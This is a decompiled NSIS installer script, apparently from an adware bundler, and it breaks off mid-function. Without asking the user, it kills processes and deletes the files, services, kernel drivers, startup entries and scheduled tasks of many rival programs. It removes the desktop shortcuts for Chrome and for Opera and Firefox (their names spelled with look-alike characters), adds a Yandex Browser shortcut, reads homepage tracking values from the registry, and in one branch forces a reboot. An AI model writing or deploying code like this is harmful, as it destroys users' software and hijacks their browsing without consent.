nsExec::Exec "cmd /k taskkill /IM Notices.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Notices.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Notices
RMDir /r /REBOOTOK $APPDATA\NotepadApp
label_13622:
IfFileExists $APPDATA\ScreenShot\ScreenShot.exe 0 label_13633
IfFileExists $APPDATA\ScreenShot\SSMaker.exe 0 label_13633
nsExec::Exec "cmd /k taskkill /IM $\"SSMaker.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"SSMaker.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSMaker
RMDir /r /REBOOTOK $APPDATA\ScreenShot
IfFileExists $DESKTOP\ScreenShot.lnk 0 label_13633
Delete $DESKTOP\ScreenShot.lnk
label_13633:
IfFileExists $APPDATA\ScreenMaker\ScreenMaker.exe 0 label_13644
IfFileExists $APPDATA\ScreenMaker\SSMaker.exe 0 label_13644
nsExec::Exec "cmd /k taskkill /IM $\"SSMaker.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"SSMaker.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSMaker
RMDir /r /REBOOTOK $APPDATA\ScreenMaker
IfFileExists $DESKTOP\ScreenMaker.lnk 0 label_13644
Delete $DESKTOP\ScreenMaker.lnk
label_13644:
IfFileExists $APPDATA\SevilerGame\Seviler\Seviler.exe 0 label_13655
IfFileExists $APPDATA\SevilerGame\SevilerGame.exe 0 label_13655
nsExec::Exec "cmd /k taskkill /IM Seviler.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Seviler.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Seviler
RMDir /r /REBOOTOK $APPDATA\SevilerGame
IfFileExists $DESKTOP\SevilerGame.lnk 0 label_13655
Delete $DESKTOP\SevilerGame.lnk
label_13655:
StrCpy $0 ""
IfFileExists $PROGRAMFILES64\Bit$0Torrent\Bit$0Torrent.exe 0 label_13664
nsExec::Exec "cmd /k taskkill /IM Bit$0Torrent.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Bit$0Torrent.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\Bit$0Torrent
RMDir /r /REBOOTOK $PROGRAMFILES64\Bit$0Torrent
label_13664:
IfFileExists $APPDATA\SimpleNotepad\SimpleNoteApp.exe 0 label_13675
IfFileExists $APPDATA\SimpleNotepad\SimpleNotepad.exe 0 label_13675
nsExec::Exec "cmd /k taskkill /IM SimpleNoteApp.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM SimpleNoteApp.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run SimpleNoteApp
RMDir /r /REBOOTOK $APPDATA\SimpleNotepad
IfFileExists $DESKTOP\SimpleNotepad.lnk 0 label_13675
Delete $DESKTOP\SimpleNotepad.lnk
label_13675:
IfFileExists "$PROGRAMFILES\MPC Cleaner" 0 label_13751
StrCpy $R1 ""
IfFileExists "$PROGRAMFILES\MPC Cleaner\UninstDelete.exe" 0 label_13679
StrCpy $R1 1
label_13679:
nsExec::Exec "cmd /k $\"$PROGRAMFILES\MPC Cleaner\UninstDelete.exe$\" /S"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k $\"$PROGRAMFILES\MPC Cleaner\UninstDelete.exe$\" /S"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
Sleep 5000
nsExec::Exec "cmd /k net stop MPCleaner"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k net stop MPCleaner"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k net stop MPCProtectService"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k net stop MPCProtectService"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM MPC.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM MPC.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM MPCProtectService.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM MPCProtectService.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM MPCSecurity.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM MPCSecurity.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM MPCTray.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM MPCTray.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM MPCTray64.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM MPCTray64.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\MPCleaner
DeleteRegKey HKLM SYSTEM\ControlSet001\services\MPCProtectService
RMDir /r /REBOOTOK "$PROGRAMFILES\MPC Cleaner"
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\MPCKpt.sys 0 label_13731
DeleteRegKey HKLM SYSTEM\ControlSet001\services\MPCKpt
Delete /REBOOTOK $SYSDIR\drivers\MPCKpt.sys
label_13731:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\MPCKpt.sys 0 label_13739
DeleteRegKey HKLM SYSTEM\ControlSet001\services\MPCKpt
Delete /REBOOTOK $SYSDIR\drivers\MPCKpt.sys
label_13739:
IfFileExists $EXEDIR\MPCRRM label_13751
StrCmp $R1 1 0 label_13751
FileOpen $1 $EXEDIR\MPCRRM w
FileWrite $1 ""
FileClose $1
IfFileExists $EXEDIR\MPCRRM 0 label_13751
nsExec::Exec "cmd /k shutdown -r -t 25"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k shutdown -r -t 25"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
Quit
label_13751:
ClearErrors
ReadRegStr $1 HKCU Software\InstallPath\Status SnapDoNew
IfErrors label_13785
StrCpy $0 ""
StrCpy $2 ""
StrCpy $R1 ""
FindFirst $0 $R1 $LOCALAPPDATA\*.exe.config
label_13758:
StrCmp $R1 "" label_13784
Push $R1
Push .config
Push ""
Call func_179
Pop $2
Push $2
Push .exe
Push ""
Call func_179
Pop $2
IfFileExists $LOCALAPPDATA\$2.exe 0 label_13782
IfFileExists $LOCALAPPDATA\$2.dat 0 label_13782
nsExec::Exec "cmd /k taskkill /IM $\"$2.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"$2.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
Delete /REBOOTOK $LOCALAPPDATA\$2.exe
Delete /REBOOTOK $LOCALAPPDATA\$2.dat
Delete /REBOOTOK $LOCALAPPDATA\$2.exe.config
SetShellVarContext current
IfFileExists $LOCALAPPDATA\Yandex\YandexBrowser\Application\browser.exe 0 label_13782
CreateShortCut $DESKTOP\Yandex.lnk $LOCALAPPDATA\Yandex\YandexBrowser\Application\browser.exe
label_13782:
FindNext $0 $R1
Goto label_13758
label_13784:
FindClose $0
label_13785:
ClearErrors
ReadRegStr $1 HKCU Software\InstallPath\Status SnapDoNew
IfErrors label_13814
StrCpy $0 0
StrCpy $1 ""
StrCpy $2 ""
label_13791:
EnumRegKey $1 HKLM Software\Microsoft\Windows\CurrentVersion\Uninstall $0
StrCmp $1 "" label_13814
IntOp $0 $0 + 1
ReadRegStr $2 HKLM Software\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayName
StrCmp $2 SnapDo 0 label_13813
ClearErrors
ReadRegStr $2 HKLM Software\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayIcon
IfErrors label_13791
Push $2
Push \uninstall.ico
Push ""
Call func_179
Pop $R1
IfFileExists $R1\uninstall.exe 0 label_13813
IfFileExists $R1\uninstall.dat 0 label_13813
nsExec::Exec "cmd /k taskkill /IM uninstall.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM uninstall.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM Software\Microsoft\Windows\CurrentVersion\Uninstall\$1
RMDir /r /REBOOTOK $R1
label_13813:
Goto label_13791
label_13814:
IfFileExists $APPDATA\HP* 0 label_13841
StrCpy $0 ""
StrCpy $2 ""
StrCpy $R1 ""
FindFirst $0 $R1 $APPDATA\HP*
label_13819:
StrCmp $R1 "" label_13830
ClearErrors
ReadRegStr $2 HKLM Software\Microsoft\Windows\CurrentVersion\Uninstall\$R1 DisplayName
IfErrors label_13828
IfFileExists $APPDATA\$R1\*Srv.exe 0 label_13828
Push $R1
Call func_19227
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\$R1 Service"
RMDir /r /REBOOTOK $APPDATA\$R1
label_13828:
FindNext $0 $R1
Goto label_13819
label_13830:
FindClose $0
SetShellVarContext all
IfFileExists $DESKTOP\Îðårà.lnk 0 label_13834
Delete $DESKTOP\Îðårà.lnk
label_13834:
IfFileExists "$DESKTOP\Ìîzillà Firåfîõ.lnk" 0 label_13836
Delete "$DESKTOP\Ìîzillà Firåfîõ.lnk"
label_13836:
IfFileExists "$DESKTOP\Google Chrome.lnk" 0 label_13838
Delete "$DESKTOP\Google Chrome.lnk"
label_13838:
SetShellVarContext current
IfFileExists $LOCALAPPDATA\Yandex\YandexBrowser\Application\browser.exe 0 label_13841
CreateShortCut $DESKTOP\Yandex.lnk $LOCALAPPDATA\Yandex\YandexBrowser\Application\browser.exe
label_13841:
IfFileExists $COMMONFILES\Y-saoity 0 label_13843
RMDir /r /REBOOTOK $COMMONFILES\Y-saoity
label_13843:
IfFileExists $COMMONFILES\FreeZimfind 0 label_13845
RMDir /r /REBOOTOK $COMMONFILES\FreeZimfind
label_13845:
IfFileExists "$DESKTOP\Gåt Ràndîm Viràl.lnk" 0 label_13847
Delete "$DESKTOP\Gåt Ràndîm Viràl.lnk"
label_13847:
IfFileExists "$DESKTOP\Gîîglå Såàrñh.lnk" 0 label_13849
Delete "$DESKTOP\Gîîglå Såàrñh.lnk"
label_13849:
IfFileExists $DESKTOP\NotepadApp.lnk 0 label_13851
Delete $DESKTOP\NotepadApp.lnk
label_13851:
IfFileExists $DESKTOP\Checkers.lnk 0 label_13853
Delete $DESKTOP\Checkers.lnk
label_13853:
IfFileExists $LOCALAPPDATA\Damfase.exe 0 label_13861
nsExec::Exec "cmd /k taskkill /IM Damfase.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Damfase.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\downukadqppcoductpro
Delete /REBOOTOK $LOCALAPPDATA\Damfase.exe
label_13861:
IfFileExists $PROGRAMFILES\CondRed\CondRedSrv.exe 0 label_13874
nsExec::Exec "cmd /k taskkill /IM CondRedSrv.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM CondRedSrv.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Stuff.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Stuff.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\CondRed Service"
RMDir /r /REBOOTOK $PROGRAMFILES\CondRed
label_13874:
IfFileExists $APPDATA\Rutube\launcher.exe 0 label_13887
nsExec::Exec "cmd /k taskkill /IM launcher.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM launcher.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM stub.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM stub.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Rutube
RMDir /r /REBOOTOK $APPDATA\Rutube
label_13887:
IfFileExists $LOCALAPPDATA\SystemDir\nethost.exe label_13889
IfFileExists $LOCALAPPDATA\SystemDir\setsearchm.exe 0 label_13895
label_13889:
nsExec::Exec "cmd /k taskkill /IM nethost.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM nethost.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $LOCALAPPDATA\SystemDir
label_13895:
ClearErrors
ReadRegStr $R0 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\wincheck DisplayIcon
IfErrors label_13925
Push $R0
Call :label_4803
Pop $4
Push $R0
Call :label_1768
Pop $R0
Push $R0
Push ""
Push ""
Push $\"
Call :label_1606
Pop $R0
StrCpy $0 $4.exe
KillProc::FindProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses
StrCmp $1 -1 label_13922
StrCmp $0 0 label_13922
StrCpy $0 $4.exe
KillProc::KillProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses
label_13922:
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run WinCheck
IfFileExists $R0 0 label_13925
RMDir /r /REBOOTOK $R0
label_13925:
IfFileExists $LOCALAPPDATA\wincheck\wincheck.exe 0 label_13928
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run WinCheck
RMDir /r /REBOOTOK $LOCALAPPDATA\wincheck
label_13928:
StrCpy $_49_ FSPU
StrCpy $R0 0
label_13930:
ClearErrors
EnumRegValue $1 HKCU Software\Microsoft\Windows\CurrentVersion\Run $R0
IfErrors label_13979
IntOp $R0 $R0 + 1
ReadRegStr $2 HKCU Software\Microsoft\Windows\CurrentVersion\Run $1
ClearErrors
Push $2
Push "explorer $\"http://"
Call :label_405
Pop $R3
IfErrors label_13949
Push $2
Push "explorer $\"http://"
Push ""
Call func_179
Pop $_49_
DeleteRegValue HKCU Software\Microsoft\Windows\CurrentVersion\Run $1
StrCpy $R0 0
Goto label_13930
label_13949:
ClearErrors
Push $2
Push "cmd /c start $\"$\" $\"http://"
Call :label_405
Pop $R3
IfErrors label_13963
Push $2
Push "cmd /c start $\"$\" $\"http://"
Push ""
Call func_179
Pop $_49_
DeleteRegValue HKCU Software\Microsoft\Windows\CurrentVersion\Run $1
StrCpy $R0 0
Goto label_13930
label_13963:
ClearErrors
StrCpy $0 ""
Push $2
Push "cmd /c star$0t http://"
Call :label_405
Pop $R3
IfErrors label_13978
Push $2
Push "cmd /c star$0t http://"
Push ""
Call func_179
Pop $_49_
DeleteRegValue HKCU Software\Microsoft\Windows\CurrentVersion\Run $1
StrCpy $R0 0
Goto label_13930
label_13978:
Goto label_13930
label_13979:
StrCmp $_49_ FSPU label_13989
Push http://$_49_
Push /?
Push >
Push <
Push 0
Push 0
Push 0
Call func_4539
Pop $_49_
label_13989:
StrCpy $_50_ ""
ClearErrors
ReadRegStr $_50_ HKCU "Software\Start Page" "Start Page"
IfErrors label_14008
Push $_50_
Push utm_term=
Call :label_405
Pop $_50_
ClearErrors
Push $_50_
Push &
Push >
Push <
Push 0
Push 0
Push 0
Call func_4539
Pop $_50_
IfErrors label_14008 label_14009
label_14008:
StrCpy $_50_ ""
label_14009:
IfFileExists $LOCALAPPDATA\fupdate\fupdate.exe 0 label_14021
nsExec::Exec "cmd /k taskkill /IM $\"fupdate.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"fupdate.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"fupdate$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"fupdate$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $LOCALAPPDATA\fupdate
label_14021:
IfFileExists $PROGRAMFILES\globalUpdate 0 label_14025
DeleteRegKey HKLM SYSTEM\ControlSet001\services\globalUpdate
DeleteRegKey HKLM SYSTEM\ControlSet001\services\globalUpdatem
RMDir /r /REBOOTOK $PROGRAMFILES\globalUpdate
label_14025:
IfFileExists "$PROGRAMFILES\PC Speed Up" 0 label_14029
DeleteRegKey HKLM SYSTEM\ControlSet001\services\PCSUService
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run PCSpeedUp
RMDir /r /REBOOTOK "$PROGRAMFILES\PC Speed Up"
label_14029:
IfFileExists "$PROGRAMFILES\MyPC Backup" 0 label_14032
DeleteRegKey HKLM SYSTEM\ControlSet001\services\BackupStack
RMDir /r /REBOOTOK "$PROGRAMFILES\MyPC Backup"
label_14032:
IfFileExists $PROGRAMFILES\gmsd_ru_* 0 label_14046
StrCpy $0 ""
FindFirst $0 $R1 $PROGRAMFILES\gmsd_ru_*
label_14035:
StrCmp $R1 "" label_14045
IfFileExists $PROGRAMFILES\$R1 0 label_14043
nsExec::Exec "cmd /k taskkill /IM $R1.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $R1.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\$R1
label_14043:
FindNext $0 $R1
Goto label_14035
label_14045:
FindClose $0
label_14046:
IfFileExists $LOCALAPPDATA\gmsd_ru_* 0 label_14060
StrCpy $0 ""
FindFirst $0 $R1 $LOCALAPPDATA\gmsd_ru_*
label_14049:
StrCmp $R1 "" label_14059
IfFileExists $LOCALAPPDATA\$R1 0 label_14057
nsExec::Exec "cmd /k taskkill /IM $R1.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $R1.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $LOCALAPPDATA\$R1
label_14057:
FindNext $0 $R1
Goto label_14049
label_14059:
FindClose $0
label_14060:
IfFileExists $PROGRAMFILES64\HomeSafe 0 label_14062
RMDir /r /REBOOTOK $PROGRAMFILES64\HomeSafe
label_14062:
IfFileExists $PROGRAMFILES\AnyProtectEx 0 label_14066
IfFileExists $DESKTOP\AnyProtect.lnk 0 label_14065
Delete $DESKTOP\AnyProtect.lnk
label_14065:
RMDir /r /REBOOTOK $PROGRAMFILES\AnyProtectEx
label_14066:
IfFileExists $PROGRAMFILES\*BlockAndSurf 0 label_14084
nsExec::ExecToStack "schtasks /delete /tn $\"BlockAndSurf Update$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"BlockAndSurf Update$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::Exec "cmd /k taskkill /IM BlockAndSurf.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM BlockAndSurf.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
StrCpy $0 ""
FindFirst $0 $R1 $PROGRAMFILES\*BlockAndSurf
label_14079:
StrCmp $R1 "" label_14083
RMDir /r /REBOOTOK $PROGRAMFILES\$R1
FindNext $0 $R1
Goto label_14079
label_14083:
FindClose $0
label_14084:
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\webTinstMKTN84.sys 0 label_14092
DeleteRegKey HKLM SYSTEM\ControlSet001\services\webTinstMKTN84
Delete /REBOOTOK $SYSDIR\drivers\webTinstMKTN84.sys
label_14092:
IfFileExists $SYSDIR\drivers\webTinst.sys 0 label_14094
Delete /REBOOTOK $SYSDIR\drivers\webTinst.sys
label_14094:
IfFileExists $SYSDIR\drivers\webTinstMK.sys 0 label_14097
DeleteRegKey HKLM SYSTEM\ControlSet001\services\webTinstMK
Delete /REBOOTOK $SYSDIR\drivers\webTinstMK.sys
label_14097:
IfFileExists $SYSDIR\drivers\webTinstMKTN.sys 0 label_14100
DeleteRegKey HKLM SYSTEM\ControlSet001\services\webTinstMKTN
Delete /REBOOTOK $SYSDIR\drivers\webTinstMKTN.sys
label_14100:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\webTinstMKTN84.sys 0 label_14108
DeleteRegKey HKLM SYSTEM\ControlSet001\services\webTinstMKTN84
Delete /REBOOTOK $SYSDIR\drivers\webTinstMKTN84.sys
label_14108:
IfFileExists $SYSDIR\drivers\webTinst.sys 0 label_14110
Delete /REBOOTOK $SYSDIR\drivers\webTinst.sys
label_14110:
IfFileExists $SYSDIR\drivers\webTinstMK.sys 0 label_14113
DeleteRegKey HKLM SYSTEM\ControlSet001\services\webTinstMK
Delete /REBOOTOK $SYSDIR\drivers\webTinstMK.sys
label_14113:
IfFileExists $SYSDIR\drivers\webTinstMKTN.sys 0 label_14116
DeleteRegKey HKLM SYSTEM\ControlSet001\services\webTinstMKTN
Delete /REBOOTOK $SYSDIR\drivers\webTinstMKTN.sys
label_14116:
IfFileExists $PROGRAMFILES\Techgile\bin\utilTechgile.exe 0 label_14120
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Util Techgile"
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Techgile"
RMDir /r /REBOOTOK $PROGRAMFILES\Techgile
label_14120:
IfFileExists "$PROGRAMFILES\Optimizer Pro*" 0 label_14133
ReadRegStr $1 HKCU Software\Microsoft\Windows\CurrentVersion\Run "Optimizer Pro"
Push $1
Push ""
Push ""
Push $\"
Call :label_1606
Pop $1
Push $1
Call :label_1768
Pop $1
RMDir /r /REBOOTOK $1
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Optimizer Pro"
label_14133:
IfFileExists $SMSTARTUP\OptimizerPro.lnk 0 label_14135
Delete /REBOOTOK $SMSTARTUP\OptimizerPro.lnk
label_14135:
IfFileExists "$PROGRAMFILES\Super Optimizer" 0 label_14138
DeleteRegValue HKCU Software\Microsoft\Windows\CurrentVersion\Run "Super Optimizer"
RMDir /r /REBOOTOK "$PROGRAMFILES\Super Optimizer"
label_14138:
ClearErrors
ReadRegStr $2 HKCU "Software\Super Optimizer" SetupName
IfErrors label_14152
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_14152
RMDir /r /REBOOTOK $2
label_14152:
IfFileExists $SMSTARTUP\SuperOptimizer.lnk 0 label_14154
Delete /REBOOTOK $SMSTARTUP\SuperOptimizer.lnk
label_14154:
IfFileExists "$PROGRAMFILES\surf slide" 0 label_14158
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update surf slide"
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Util surf slide"
RMDir /r /REBOOTOK "$PROGRAMFILES\surf slide"
label_14158:
FunctionEnd
Function func_14159
SetShellVarContext current
IfFileExists $APPDATA\VOPackage 0 label_14163
DeleteRegKey HKLM SYSTEM\ControlSet001\services\serverca
RMDir /r /REBOOTOK $APPDATA\VOPackage
label_14163:
IfFileExists $APPDATA\ASPackage 0 label_14178
DeleteRegKey HKLM SYSTEM\ControlSet001\services\serverca
StrCpy $0 AS
nsExec::Exec "cmd /k taskkill /IM $0Package.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $0Package.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM $0Srv.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $0Srv.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
Sleep 1000
RMDir /r /REBOOTOK $APPDATA\ASPackage
label_14178:
IfFileExists $PROGRAMFILES\VuuPC 0 label_14182
DeleteRegKey HKLM SYSTEM\ControlSet001\services\RemoteEngineService
DeleteRegKey HKLM SYSTEM\ControlSet001\services\VuuPCConnectivity
RMDir /r /REBOOTOK $PROGRAMFILES\VuuPC
label_14182:
IfFileExists $PROGRAMFILES\Crossbrowse 0 label_14194
nsExec::Exec "cmd /k taskkill /IM crossbrowse.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM crossbrowse.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM utility.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM utility.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\Crossbrowse
label_14194:
IfFileExists $LOCALAPPDATA\crossbrowse 0 label_14196
RMDir /r /REBOOTOK $LOCALAPPDATA\crossbrowse
label_14196:
IfFileExists $SMSTARTUP\crossbrowse.lnk 0 label_14198
Delete /REBOOTOK $SMSTARTUP\crossbrowse.lnk
label_14198:
ClearErrors
ReadRegStr $2 HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run apphide
IfErrors label_14208
ClearErrors
Push $2
Push clean.exe
Call :label_405
Pop $0
IfErrors label_14208
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run apphide
label_14208:
IfFileExists $PROGRAMFILES\Infonaut* 0 label_14242
StrCpy $0 0
label_14210:
EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0
StrCmp $1 "" label_14242
IntOp $0 $0 + 1
ClearErrors
Push $1
Push Infonaut
Call :label_405
Pop $R3
IfErrors label_14210
ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion
Push $2
Push .
Push _
Call func_179
Pop $3
DeleteRegKey HKLM SYSTEM\ControlSet001\services\insvc_$2
DeleteRegKey HKLM SYSTEM\ControlSet001\services\innfd_$2
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
